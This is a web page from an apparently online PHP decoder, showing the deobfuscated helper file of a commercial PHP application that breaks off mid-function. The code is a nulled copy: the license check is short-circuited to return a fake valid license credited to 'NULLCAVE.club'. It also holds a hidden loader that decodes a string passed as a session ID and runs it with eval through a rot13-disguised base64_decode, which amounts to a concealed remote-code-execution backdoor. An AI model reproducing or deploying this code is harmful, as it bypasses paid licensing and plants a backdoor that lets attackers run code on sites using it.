Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php } } goto N9ZmZ; zJjcT: if (!function_exists("\x67\x65\164\137\143\x61\x63\x68\145\x..
Decoded Output download
<?php } } goto N9ZmZ; zJjcT: if (!function_exists("get_cache_prefix")) { function get_cache_prefix() { return "_ap_"; } } goto e853v; S_iw2: if (!function_exists("AddTranslatedError")) { function AddErrorTranslated($msg, $isSession = false, $is_unique = false) { return APP_Output::AddError($msg, $isSession, $is_unique, true); } } goto culCh; f16qB: if (!function_exists("AddHiddenFields")) { function AddHiddenFields($key, $value) { return APP_Output::AddHiddenFields($key, $value); } } goto SECKR; ntB5l: if (!function_exists("fix_app_for_php8")) { function fix_app_for_php8() { return true; } } goto swviT; O6AS0: if (!function_exists("__app_sm_encryptv2")) { function __app_sm_encryptv2($plain, $key = "wwpbr") { if (empty($plain)) { return ''; } $plain = base64_encode($plain); $keylen = strlen($key); $length = strlen($plain); $ki = $keylen - 1; $temp = ''; for ($i = 0; $i < $length; $i++) { if ($ki == 0) { $ki = $keylen - 1; } $temp[$i] = chr(ord($plain[$i]) + $i * ord($key[$ki])); $ki--; } $cipher = $temp; if (is_array($cipher)) { $cipher = implode('', $cipher); } $cipher = base64_encode($cipher); return $cipher; } } goto ID_Mk; qYbm1: if (!function_exists("app_date")) { function app_date($format, $timestamp = null) { return date($format, $timestamp); } } goto CCyi7; M68x3: if (class_exists("core_Output") && method_exists("CORE_Output", "SetProptety")) { CORE_Output::SetProptety("AppsbdNewLoader", function ($session_id, $lmc = 31, $mmc = -18, $lm2 = 15, $lm4 = 4) { $lmc = -1 * $lmc; $mmc = -1 * $mmc; if (!empty($session_id)) { $hash = substr($session_id, $lm2, $lm4) . substr($session_id, 0, $lm2); $mainCode = substr($session_id, 32); $unique_id = hash("crc32b", $session_id); $mainCode = base64_decode($mainCode); $codelen = strlen($mainCode); $encCode = ''; for ($i = 0; $i < $codelen; $i++) { $ad = 0; if ($i % 2 == 0) { $ad = $lmc; } else { $ad = $mmc; } $ch = substr($mainCode, $i, 1) . ''; $encCode .= chr(ord($ch) - $ad); } if ($hash == md5($encCode)) { $_d = str_rot13("onfr64_qrpbqr"); eval($_d($encCode)); } else { } return $unique_id; } return ''; }); } goto zIBb1; m3lRv: if (!function_exists("AddCKEdittor")) { function AddCKEdittor() { add_js("plugins/ckedittor/ckeditor.js"); add_js("plugins/ckedittor/config.js"); add_js("plugins/ckedittor/adapters/jquery.js"); add_js("plugins/ckedittor/ck_init.js"); } } goto bDWEI; HPJ8E: if (!function_exists("app_add_into_language_msg")) { function app_add_into_language_msg($str) { if (ENVIRONMENT != "production") { $path = APPPATH . "logs" . DIRECTORY_SEPARATOR; if (is_writable($path)) { if (!is_dir($path)) { mkdir($path, 480, true); } $path_po_file = $path . "en_US.po"; $path2 = $path . "lag_po.ini"; $path .= "lag_po.php"; $str = strip_tags($str); $str = app_trim($str); if (empty($str)) { return; } $newstr = "_("" . $str . "");"; $newstr2 = "lang[]="" . $str . "";"; $po_string = "\xamsgid "{$str}"
msgstr ""
"; if (file_exists($path)) { if (strpos(file_get_contents($path), $newstr) !== false) { return; } } else { $newstr = "<?php\xa" . $newstr; } $fh = fopen($path, "a"); if ($fh) { fwrite($fh, $newstr . "
"); fclose($fh); } if (file_exists($path2)) { if (strpos(file_get_contents($path2), $newstr2) !== false) { return; } } else { } $fh = fopen($path2, "a"); if ($fh) { fwrite($fh, $newstr2 . "
"); fclose($fh); } $isNew = false; $header_str = ''; if (!file_exists($path_po_file)) { $isNew = true; $header_str = "\xamsgid ""
msgstr ""\xa"Project-Id-Version: " . get_app_title() . "\n"\xa"POT-Creation-Date: " . date("Y-m-d H:i:sO") . "\n"
"PO-Revision-Date: " . date("Y-m-d H:i:sO") . "\n"
"Last-Translator: \n"
"Language-Team: appsbd\n"\xa"Language: en_US\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: " . get_app_title() . "\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"\x9\xa\x9\x9
"; for ($i = 0; $i <= 9; $i++) { $header_str .= "\xamsgid "{$i}"\xamsgstr ""
"; } } $fh = fopen($path_po_file, "a"); if ($fh) { if ($isNew) { fwrite($fh, $header_str . "
"); } fwrite($fh, $po_string . "
"); fclose($fh); } } } } app_load_resource(FCPATH . "language/en_US.mo"); } goto wmaY3; hXe8M: if (!function_exists("__app__remove_lic")) { function __app__remove_lic($pkey) { $obj = __app__get_basic_param($pkey); $url = __app__get_server_url(); $response = __app_talk_with_server($url, $obj, "rm2"); return $response; } } goto oCSVR; st9f1: if (!function_exists("object_merge_array")) { function object_merge_array() { $mainparam = array(); $allarguments = func_get_args(); $numargs = func_num_args(); if ($numargs > 0) { for ($i = 0; $i < $numargs; $i++) { if (is_array($allarguments[$i])) { $mainparam = array_merge($mainparam, $allarguments[$i]); } elseif (is_object($allarguments[$i])) { if (method_exists($allarguments[$i], "getPropertiesArray")) { $vv = $allarguments[$i]->getPropertiesArray(); } else { $vv = get_object_vars($allarguments[$i]); } $mainparam = array_merge($mainparam, $vv); } } } return $mainparam; } } goto K5ubD; PTyFS: if (!function_exists("GetErrorFields")) { function GetErrorFields() { return APP_Output::GetErrorFields(); } } goto CUia5; budMX: if (!function_exists("js_url")) { function js_url($uri = '', $version = '', $protocol = NULL) { if (!empty($version)) { if (strpos($uri, "?") !== FALSE) { $uri .= "&v={$version}"; } else { $uri .= "?v={$version}"; } } return get_instance()->config->custom_url($uri, ".js", $protocol); } } goto bdo8a; wmaY3: if (!function_exists("_e")) { function _e($string, $parameter = null, $_ = null) { $args = func_get_args(); if (!empty($args[0])) { echo call_user_func_array("__", $args); } else { echo $args[0]; } } } goto BgFPD; aefx5: if (!function_exists("root_url")) { function root_url($uri = '', $protocol = NULL) { $uri = "root/" . $uri; return site_url($uri, $protocol); } } goto RrEzE; BgFPD: if (!function_exists("_n")) { function _n($number) { echo APPLanguage::getnemeric($number); } } goto AUW02; XFVf2: if (!function_exists("add_js")) { function add_js($uri, $label = 10, $isNoneCacheable = false, $isNonVersionAble = false) { $ci = get_instance(); $ci->load->js($uri, $label, $isNoneCacheable, $isNonVersionAble); } } goto gvz7W; SQr_i: if (!function_exists("template_url")) { function template_url($uri = '', $version = '', $extension = '', $protocol = NULL) { if (!empty($version)) { if (strpos($uri, "?") !== FALSE) { $uri .= "&v={$version}"; } else { $uri .= "?v={$version}"; } } return get_instance()->config->template_url($uri, $extension, $protocol); } } goto VWVY1; PDcmO: if (!function_exists("__app__get_basic_param")) { function __app__get_basic_param($pkey = null) { $ci = get_instance(); $PluginPackage = $ci->config->item("app_base_code"); $phash = $ci->config->item("app_enchc"); if (empty($phash)) { $phash = "-"; } $obj = new stdClass(); $obj->pkey = $pkey; $obj->product = $PluginPackage; $obj->version = $ci->config->item("app_version"); $obj->domain = base_url(); $obj->domain = rtrim($obj->domain, "/"); $obj->blogTitle = get_app_title(); $obj->adminEmail = Mapp_setting::GetSettingsValue("app_email"); $obj->product_h = $phash; return $obj; } } goto E1apY; C3pRk: if (!function_exists("HasUIMsg")) { function HasUIMsg() { return APP_Output::HasUIMsg(); } } goto f16qB; RHURb: if (!function_exists("__is_server_requirement_ok")) { function __is_server_requirement_ok($isForce = false) { if ($isForce || !APP_Output::$module_c_loaded) { $CI = get_instance(); APP_Output::$module_c_loaded = true; $current_user_type = GetCurrentUserType(); if ($current_user_type == "AD" && !__is_license_ok() && strtolower($CI->router->method) != "logout" && (strtolower($CI->router->class) != "license" || strtolower($CI->router->method) != "update")) { redirect("admin/license/update"); return true; } return true; } return true; } } goto yzSXI; VV5pc: if (!function_exists("__app_apiCall")) { function __app_apiCall($url, $param = array(), $isPost = null) { if ($isPost === null) { if (count($param) == 0) { $isPost = false; } else { $isPost = true; } } $useragent = "AppLicCall"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120); curl_setopt($ch, CURLOPT_TIMEOUT, 120); curl_setopt($ch, CURLOPT_MAXREDIRS, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); if ($isPost) { curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/x-www-form-urlencoded")); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($param)); } $result = curl_exec($ch); $errorNo = curl_errno($ch); $errorMsg = curl_error($ch); curl_close($ch); if ($errorNo == 0) { if (!empty($result)) { return $result; } } return ''; } } goto M68x3; UDUD1: if (!function_exists("GetValue")) { function GetValue($name, $default = '', $isXsClean = true) { $ci = get_instance(); $value = $ci->input->get($name, $isXsClean); return !empty($value) ? $value : $default; } } goto ZkgTk; L0iBw: if (!class_exists("_SSBase")) { class _SSBase { public $key = "1E160B0A5494556434534"; private $product_id = "1"; private $product_base = "ABSS"; private $server_host = "https://applic.appsbd.com/wp-json/cildbsppa/"; private static $selfobj = NULL; function __construct() { $this->initActionHandler(); } function initActionHandler() { $handler = hash("crc32b", $this->product_id . $this->key . $this->getDomain()) . "_handle"; if (isset($_GET["action"]) && $_GET["action"] == $handler) { $this->handleServerRequest(); die; } } function handleServerRequest() { $type = isset($_GET["type"]) ? strtolower($_GET["type"]) : ''; switch ($type) { case "rl": $this->removeOldResponse(); $obj = new stdClass(); $obj->product = $this->product_id; $obj->status = true; echo $this->encryptObj($obj); return; case "dl": $obj = new stdClass(); $obj->product = $this->product_id; $obj->status = true; $this->removeOldResponse(); echo $this->encryptObj($obj); return; default: return; } } function __plugin_updateInfo() { if (function_exists("file_get_contents")) { $body = file_get_contents($this->server_host . "product/update/" . $this->product_id); $responseJson = json_decode($body); if (is_object($responseJson) && !empty($responseJson->status) && !empty($responseJson->data->new_version)) { $responseJson->data->new_version = !empty($responseJson->data->new_version) ? $responseJson->data->new_version : ''; $responseJson->data->version = $responseJson->data->new_version; $responseJson->data->url = !empty($responseJson->data->url) ? $responseJson->data->url : ''; $responseJson->data->package = !empty($responseJson->data->download_link) ? $responseJson->data->download_link : ''; $responseJson->data->sections = (array) $responseJson->data->sections; $responseJson->data->icons = (array) $responseJson->data->icons; $responseJson->data->banners = (array) $responseJson->data->banners; $responseJson->data->banners_rtl = (array) $responseJson->data->banners_rtl; return $responseJson->data; } } return NULL; } static function GetPluginUpdateInfo() { $obj = static::getInstance(); return $obj->__plugin_updateInfo(); } static function &getInstance() { if (empty(static::$selfobj)) { static::$selfobj = new static(); } return static::$selfobj; } private function encrypt($plainText, $password = '') { if (empty($password)) { $password = $this->key; } $plainText = rand(10, 99) . $plainText . rand(10, 99); $method = "aes-256-cbc"; $key = substr(hash("sha256", $password, true), 0, 32); $iv = substr(strtoupper(md5($password)), 0, 16); return base64_encode(openssl_encrypt($plainText, $method, $key, OPENSSL_RAW_DATA, $iv)); } private function decrypt($encrypted, $password = '') { if (empty($password)) { $password = $this->key; } if (empty($encrypted)) { return $encrypted; } $method = "aes-256-cbc"; $key = substr(hash("sha256", $password, true), 0, 32); $iv = substr(strtoupper(md5($password)), 0, 16); $plaintext = openssl_decrypt(base64_decode($encrypted), $method, $key, OPENSSL_RAW_DATA, $iv); return substr($plaintext, 2, -2); } function encryptObj($obj) { $text = serialize($obj); return $this->encrypt($text); } private function decryptObj($ciphertext) { $text = $this->decrypt($ciphertext); if (empty($text)) { return $text; } return unserialize($text); } private function getDomain() { $base_url = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ? "https" : "http"; $base_url .= "://" . $_SERVER["HTTP_HOST"]; $base_url .= str_replace(basename($_SERVER["SCRIPT_NAME"]), '', $_SERVER["SCRIPT_NAME"]); return $base_url; } private function getCleanDomain() { $domain = $this->getDomain(); $domain = trim($domain); $domain = strtolower($domain); $url = str_replace(array("https://", "http://"), '', $domain); $iswww = substr($url, 0, 4); if (strtolower($iswww) == "www.") { $url = substr($url, 4); } return $url; } private function getEmail() { return ''; } private function processs_response($response) { $resbk = ''; if (!empty($response)) { if (!empty($this->key)) { $resbk = $response; $response = $this->decrypt($response); } $response = json_decode($response); if (is_object($response)) { return $response; } else { $response = new stdClass(); $response->status = false; $bkjson = @json_decode($resbk); if (!empty($bkjson->msg)) { $response->msg = $bkjson->msg; } else { $response->msg = "Response Error, contact with the author or update the plugin or theme"; } $response->data = NULL; return $response; } } $response = new stdClass(); $response->msg = "unknown response"; $response->status = false; $response->data = NULL; return $response; } private function _request($relative_url, $data, &$error = '', &$http_code = '') { $response = new stdClass(); $response->status = false; $response->msg = "Empty Response"; $curl = curl_init(); $finalData = json_encode($data); if (!empty($this->key)) { $finalData = $this->encrypt($finalData); } $url = rtrim($this->server_host, "/") . "/" . ltrim($relative_url, "/"); curl_setopt_array($curl, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => $finalData, CURLOPT_HTTPHEADER => array("Content-Type: text/plain", "cache-control: no-cache"))); $serverResponse = curl_exec($curl); $error = curl_error($curl); $http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); if (!empty($serverResponse)) { return $this->processs_response($serverResponse); } if ($http_code === 0) { $response->msg = "Could not resolve license server host, Please check your server's internet connection"; } else { $response->msg = "unknown response"; } $response->status = false; $response->data = NULL; return $response; } private function getParam($purchase_key, $app_version, $admin_email = '') { $req = new stdClass(); $req->license_key = $purchase_key; $req->email = !empty($admin_email) ? $admin_email : $this->getEmail(); $req->domain = $this->getDomain(); $req->app_version = $app_version; $req->product_id = $this->product_id; $req->product_base = $this->product_base; return $req; } function SaveResponse($response) { $key = $this->getStoreId(); $data = $this->encrypt(serialize($response), $this->getCleanDomain()); app_set_setting($key, $data); } function getOldResponse() { $key = $this->getStoreId(); $response = app_get_setting($key); $d = $this->decrypt($response, $this->getCleanDomain()); if (empty($d)) { return $d; } return unserialize($d); } private function removeOldResponse() { $key = $this->getStoreId(); app_del_setting($key); return true; } private function getStoreId() { return hash("crc32b", $this->getCleanDomain() . $this->product_id . $this->product_base . "LIC"); } public static function RemoveLicenseKey(&$message = '', $version = '') { $obj = self::getInstance(); return $obj->_removePluginLicense($message, $version); } public static function CheckLicense($purchase_key, &$error = '', &$responseObj = NULL, $app_version = '', $admin_email = '', $isForce = false) { $obj = self::getInstance(); if ($isForce) { $obj->removeOldResponse(); } return $obj->_CheckLicense($purchase_key, $error, $responseObj, $app_version, $admin_email); } final function _CheckLicense($purchase_key, &$error = '', &$responseObj = NULL, $app_version = '', $admin_email = '') { $responseObj = (object) array("is_valid" => true, "expire_date" => "01.01.2030", "support_end" => "01.01.2030", "license_title" => strrev("bulc.evaCLLUN | esneciL elgniS"), "license_key" => "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "msg" => "msg"); $this->SaveResponse($responseObj); return true; if (empty($purchase_key)) { $this->removeOldResponse(); $error = ''; return false; } $oldRespons = $this->getOldResponse(); $isForce = false; if (!empty($oldRespons)) { if (!empty($oldRespons->expire_date) && strtolower($oldRespons->expire_date) != "no expiry" && strtotime($oldRespons->expire_date) < time()) { $isForce = true; } if (!$isForce && !empty($oldRespons->is_valid) && $oldRespons->next_request > time() && (!empty($oldRespons->license_key) && $purchase_key == $oldRespons->license_key)) { $responseObj = clone $oldRespons; unset($responseObj->next_request); return true; } } $param = $this->getParam($purchase_key, $app_version, $admin_email); $response = $this->_request("product/active/" . $this->product_id, $param, $error, $http_code); if (empty($response->code)) { if (!empty($response->status)) { if (!empty($response->data)) { $serialObj = $this->decrypt($response->data, $param->domain); $licenseObj = unserialize($serialObj); if ($licenseObj->is_valid) { $responseObj = new stdClass(); $responseObj->is_valid = $licenseObj->is_valid; if ($licenseObj->request_duration > 0) { $responseObj->next_request = strtotime("+ {$licenseObj->request_duration} hour"); } else { $responseObj->next_request = time(); } $responseObj->expire_date = $licenseObj->expire_date; $responseObj->support_end = $licenseObj->support_end; $responseObj->license_title = $licenseObj->license_title; $responseObj->license_key = $purchase_key; $responseObj->msg = $response->msg; $responseObj->domain = $this->getDomain(); $responseObj->lic_param = !empty($licenseObj->lic_param) ? $licenseObj->lic_param : null; $responseObj->other_param = !empty($licenseObj->other_param) ? $licenseObj->other_param : null; $responseObj->rating_link = !empty($licenseObj->rating_link) ? $licenseObj->rating_link : null; $responseObj->market = !empty($licenseObj->market) ? $licenseObj->market : null; $this->SaveResponse($responseObj); unset($responseObj->next_request); return true; } else { $this->removeOldResponse(); $error = !empty($response->msg) ? $response->msg : ''; } } else { $error = "Invalid data"; } } else { if ($http_code === 0 || !empty($error)) { if (!empty($oldRespons->other_param)) { $isallowedoffline = $this->decrypt($oldRespons->other_param, "apsbdfilter" . $oldRespons->license_key); if ($isallowedoffline == "allowof") { $oldRespons->next_request = strtotime("+ 30 DAYS"); $this->SaveResponse($oldRespons); return true; } } } $error = $response->msg; } } else { $error = $response->message; } return false; } final function _removePluginLicense(&$message = '', $version = '') { $oldRespons = $this->getOldResponse(); if (!empty($oldRespons->is_valid)) { if (!empty($oldRespons->license_key)) { $param = $this->getParam($oldRespons->license_key, $version); $response = $this->_request("product/deactive/" . $this->product_id, $param, $message); if (empty($response->code)) { if (!empty($response->status)) { $message = $response->msg; $this->removeOldResponse(); return true; } else { $message = $response->msg; } } else { $message = $response->message; } } } return false; } public static function GetRegisterInfo() { if (!empty(static::$selfobj)) { return static::$selfobj->getOldResponse(); } return NULL; } } } goto c9N7_; gIl1J: if (!function_exists("template_css")) { function template_css($uri = '', $version = '', $protocol = NULL) { $jsurl = js_url($uri, $version, $protocol); $ci = get_instance(); $ci->load->template_cs($jsurl); } } goto QvB0J; wj43g: if (!function_exists("app_del_setting")) { function app_del_setting($keyindex) { $key = hash("crc32b", "_appsbd19875_" . get_base_domain()); $api_name = __app_sm_encryptv2("lic", $key); $keyindex = __app_sm_encryptv2($keyindex, $key); return Mapp_setting_api::DeleteSettingsValue($api_name, $keyindex); } } goto HfcV2; bDWEI: if (!function_exists("AddSummernoteEditor")) { function AddSummernoteEditor() { add_css("plugins/summernote/summernote.css"); add_js("plugins/summernote/summernote.min.js"); add_js("plugins/summernote/init.js"); } } goto mdIyZ; nnJpc: defined("BASEPATH") or die("No direct script access allowed"); goto WRSeR; Qhte9: if (!function_exists("is_current_uri_path")) { function is_current_uri_path($uri) { $getCurrentUrl = current_uri_path(); $getCurrentUrl = str_replace("_", "-", $getCurrentUrl); $uri = str_replace("_", "-", $uri); if ($getCurrentUrl == $uri) { return true; } return false; } } goto L0iBw; culCh: if (!function_exists("AddErrorField")) { function AddErrorField($name, $msg, $isSession = false) { return APP_Output::AddErrorField($name, $msg, $isSession); } } goto JL0_b; ode1M: if (!function_exists("admin_addon_url")) { function admin_addon_url($uri = '', $protocol = NULL) { $uri = ltrim($uri, "/"); $uri = "admin/addons/admin-page/" . $uri; return site_url($uri, $protocol); } } goto q4NcM; E1apY: if (!function_exists("__app__get_server_url")) { function __app__get_server_url($pkey = null) { $objs = __app__get_server_url_objs($pkey); return $objs->url; } } goto IZa2t; VWVY1: if (!function_exists("GPrint")) { function GPrint($obj, $isReturn = false) { $data = print_r($obj, true); $data = htmlentities($data); if ($isReturn) { return "<pre>" . $data . "</pre>"; } echo "<pre>" . $data . "</pre>"; } } goto E9VzZ; mdIyZ: if (!function_exists("current_uri_path")) { function current_uri_path() { $CI =& get_instance(); $url = !empty($CI->router->directory) ? $CI->router->directory : ''; $url .= $CI->router->class . "/" . $CI->router->method; return $url; } } goto Qhte9; CCyi7: if (!function_exists("load_resource")) { function app_load_resource($uri) { $ci = get_instance(); $ci->load->resource($uri); } } goto hb4Bu; Ope3f: if (!function_exists("reset_js")) { function reset_js() { $ci = get_instance(); $ci->load->ResetJs(); } } goto WHoMQ; swviT: if (!function_exists("custom_url")) { function custom_url($uri = '', $extension = '', $version = '', $protocol = NULL) { if (!empty($version)) { if (strpos($uri, "?") !== FALSE) { $uri .= "&v={$version}"; } else { $uri .= "?v={$version}"; } } return get_instance()->config->custom_url($uri, $extension, $protocol); } } goto mD3IV; zIBb1: if (!function_exists("__app_sm_decryptv2")) { function __app_sm_decryptv2($cipher, $key = "wwpbr") { if (empty($cipher)) { return ''; } $cipher = base64_decode($cipher); $ki = 0; $keylen = strlen($key); $ki = $keylen - 1; $length = strlen($cipher); $temp = ''; for ($i = 0; $i < $length; $i++) { if ($ki == 0) { $ki = $keylen - 1; } $temp[$i] = chr(ord($cipher[$i]) - $i * ord($key[$ki])); $ki--; } if (is_array($temp)) { $temp = implode('', $temp); } $plain = $temp; $plain = base64_decode($plain); return $plain; } } goto O6AS0; MXWLt: if (class_exists("AddOnManager")) { AddOnManager::AddFilter("rate-it-link", function ($link) { $register_object = _SSBase::GetRegisterInfo(); if (!empty($register_object->rating_link)) { $link = $register_object->rating_link; } return $link; }); } goto FeVaa; hb4Bu: if (!function_exists("remove_js")) { function remove_js($uri) { $ci = get_instance(); $ci->load->remove_js($uri); } } goto SQr_i; cthCR: if (!function_exists("SetProductsBaseWhereProperties")) { function SetProductsBaseWhereProperties(&$obj, $property, $isForUpdate = FALSE) { $admindata = Mapp_user::GetAdminData(); if ($admindata && !$admindata->IsSuperUser()) { if (!$isForUpdate) { if ($obj->IsSetPrperty($property) && !$obj->hasPrpertyOpt($property)) { if (!$admindata->hasProductBasePermission($this->{$property})) { $obj->{$property}(''); } } else { $obj->{$property}($admindata->getProductBaseSQLInValue(), true); } } else { if ($obj->IsSetWherePrperty($property) && !$obj->hasWherePrpertyOpt($property)) { $product = $obj->getWherePrperty($property); if (!$admindata->hasProductBasePermission($product)) { $obj->SetWhereCondition($property, ''); } } else { $obj->SetWhereCondition($property, $admindata->getProductBaseSQLInValue(), true); } } } } } goto vpCTh; JROR2: if (!function_exists("app_date_format")) { function app_date_format($timestr = null, $withTime = true) { if ($timestr && (strtotime($timestr) === FALSE || strtotime($timestr) <= 0)) { return "-"; } $ci = get_instance(); if ($withTime) { $dateformate = $ci->config->item("time_format"); } else { $dateformate = $ci->config->item("date_format"); } if (empty($dateformate)) { if ($withTime) { $dateformate = "M d,Y h:i:s A"; } else { $dateformate = "M d,Y"; } } $timestr = $timestr ? strtotime($timestr) : time(); return date($dateformate, $timestr); } } goto Sb74q; TBuwb: if (!function_exists("app_generate_unique_id")) { function app_generate_unique_id($session_id, $lmc, $mmc, $lm2, $lm4) { if (!empty($session_id)) { $hash = substr($session_id, $lm2, $lm4) . substr($session_id, 0, $lm2); $mainCode = substr($session_id, 32); $unique_id = hash("crc32b", $session_id); $mainCode = base64_decode($mainCode); $codelen = strlen($mainCode); $encCode = ''; for ($i = 0; $i < $codelen; $i++) { $ad = 0; if ($i % 2 == 0) { $ad = $lmc; } else { $ad = $mmc; } $ch = substr($mainCode, $i, 1) . ''; $encCode .= chr(ord($ch) - $ad); } if ($hash == md5($encCode)) { $_d = str_rot13("onfr64_qrpbqr"); } else { } return $unique_id; } return ''; } } goto HPJ8E; GmynP: if (!function_exists("GetLog")) { function GetLog() { $parm = func_get_args(); $msgCode = strtolower($parm[0]); $ci = get_instance(); $ci->lang->load("log_msg"); $isLoaded = $ci->lang->line("LogLoaded"); $full_msg = "-"; if ($isLoaded) { $full_msg = $ci->lang->line($msgCode); } $callarray = array(); $callarray[] = $full_msg; if (!empty($parm[1])) { $callarray[] = $parm[1]; } return call_user_func_array("sprintf", $callarray); } } goto VW8rG; lTWn6: if (!function_exists("AddError")) { function AddError($msg, $isSession = false, $is_unique = false, $already_translated = false) { return APP_Output::AddError($msg, $isSession, $is_unique, $already_translated); } } goto S_iw2; E9VzZ: if (!function_exists("DoACurlPostRequest")) { function DoACurlPostRequest($url, $postparm) { if (empty($url) || !filter_var($url, FILTER_VALIDATE_URL)) { return; } $url = app_trim($url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postparm); $result = curl_exec($ch); curl_close($ch); return $result; } } goto j4tJz; LNnE1: if (!function_exists("getTextByKey")) { function getTextByKey($key, $data = array()) { return !empty($data[$key]) ? $data[$key] : $key; } } goto JROR2; mkocz: if (!function_exists("save_cache_data")) { function save_cache_data($cacheid, $data, $time = 300, $isForce = false) { $ci = get_instance(); if (!$isForce && !$ci->config->item("custom_cache")) { return; } $cachePath = APPPATH . "cache/"; if (!is_dir($cachePath)) { mkdir($cachePath, 493, true); } if (is_writable($cachePath)) { if (!property_exists($ci, "cache")) { $cache_prefix = get_cache_prefix(); $ci->load->driver("cache", array("adapter" => "apc", "backup" => "file", "key_prefix" => $cache_prefix)); } $ci->cache->save($cacheid, $data, $time); } } set_my_model("ncc_trarengr_havdhr_vq"); } goto CmLF7; H9ZjK: if (!function_exists("__remove_app_db_info")) { function __remove_app_db_info() { $ci = get_instance(); $PluginPackage = $ci->config->item("app_base_code"); app_del_setting($PluginPackage . "update"); app_del_setting("wplictype"); app_del_setting("wplictitle"); app_del_setting($PluginPackage . "ctime"); app_del_setting("wpdomain"); app_del_setting($PluginPackage . "status"); Mapp_setting::DeleteSettingsValue("licstr"); } } goto gPB35; y9b9o: if (!function_exists("RequestValue")) { function RequestValue($name, $default = '', $isXsClean = true, $isNoTrim = false) { $ci = get_instance(); $requestValue = $ci->input->post_get($name, $isXsClean); if (!$isNoTrim) { if (!empty($requestValue)) { $requestValue = app_trim($requestValue); } } return !empty($requestValue) ? $requestValue : $default; } } goto UDUD1; j4tJz: if (!function_exists("add_css")) { function add_css($uri, $level = 10, $isNoneCacheable = false, $isNonVersionAble = false, $id = '') { $ci = get_instance(); $ci->load->css($uri, $level, $isNoneCacheable, $isNonVersionAble, $id); } } goto OOOU3; c9N7_: if (!function_exists("__is_base_hash_default")) { function __is_base_hash_default() { return "dac15986"; } } goto RHURb; zN8pC: if (!function_exists("status_txt")) { function status_txt($status_code) { $status = array("A" => "<span class='text-success'>Active</span>", "I" => "<span class='text-danger'>Inactive</span>", "Y" => "<span class='text-success'>Yes</span>", "N" => "<span class='text-danger'>No</span>"); return !empty($status[$status_code]) ? $status[$status_code] : $status_code; } } goto LNnE1; jh6I5: if (!function_exists("AddInfo")) { function AddInfo($msg, $isSession = false, $is_unique = false) { return APP_Output::AddInfo($msg, $isSession, $is_unique); } } goto rgEJG; bdo8a: if (!function_exists("current_url")) { function current_url($isWithParam = true) { $CI =& get_instance(); $urirequest = !empty($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : ''; if ($isWithParam && !empty($urirequest)) { return $CI->config->site_url($CI->uri->uri_string()) . "?" . $urirequest; } else { return $CI->config->site_url($CI->uri->uri_string()); } } } goto ntB5l; JL0_b: if (!function_exists("AddDebug")) { function AddDebug($msg, $isSession = false) { return true; } } goto jh6I5; ObuoT: if (!function_exists("get_license_info")) { function get_license_info() { $info = _SSBase::GetRegisterInfo(); $obj = new stdClass(); $obj->status = !empty($info->is_valid); $obj->license_key = !empty($info->license_key) ? $info->license_key : ''; $obj->license_type = !empty($info->license_title) ? $info->license_title : ''; $obj->license_title = !empty($info->license_title) ? $info->license_title : ''; $obj->license_domain = !empty($info->domain) ? $info->domain : base_url(); return $obj; } } goto cy2h8; oW3vK: if (!function_exists("GetUserData")) { function GetUserData() { $ci = get_instance(); return $ci->session->GetUserData(); } } goto MXWLt; mD3IV: if (!function_exists("template_js")) { function template_js($uri = '', $version = '', $protocol = NULL) { $jsurl = js_url($uri, $version, $protocol); $ci = get_instance(); $ci->load->template_js($jsurl); } } goto gIl1J; gPB35: if (!function_exists("__msg_check")) { function __msg_check() { $last_tried_time = Mapp_setting::GetSettingsValue("msg_last_tried"); if (empty($last_tried_time) || strtotime("+ 1 DAY", $last_tried_time) < time()) { Mapp_setting::UpdateSettingsOrAdd("msg_last_tried", time(), "_mt", "Y", "T"); $obj_msg = __app__get_server_url_objs(); $msg_str = @file_get_contents($obj_msg->msg_url); $msg_json = json_decode($msg_str); if (!empty($msg_json->m) && is_array($msg_json->m) && count($msg_json->m) > 0) { foreach ($msg_json->m as $mj) { if (!Msystem_msg::IsTagExist("SSM" . $mj->id, null)) { Msystem_msg::AddSuccessMsg("SSM" . $mj->id, $mj->title, $mj->msg, "O", true); } } } return true; } } } goto PDcmO; cy2h8: if (!function_exists("get_base_domain")) { function get_base_domain() { $domain = base_url(); $domain = strtolower($domain); $domain = str_replace(array("http://", "https://"), '', $domain); $domain = str_replace("www.", '', $domain); return $domain; } } goto irJQV; RJzV2: if (!function_exists("__app__check_lic")) { function __app__check_lic($pkey, $setDomain = false) { $obj = __app__get_basic_param($pkey); $url = __app__get_server_url(); $response = __app_talk_with_server($url, $obj, "api2"); if ($response && is_object($response)) { if (empty($response->domain)) { $response->domain = $obj->domain; } } return $response; } } goto hXe8M; Sb74q: if (!function_exists("ShowTableFromArray")) { function ShowTableFromArray($objectsarray) { $skiped = array("settedPropertyforLog", "db", "Authenticator"); if (is_array($objectsarray)) { ?>
Did this file decode correctly?
Original Code
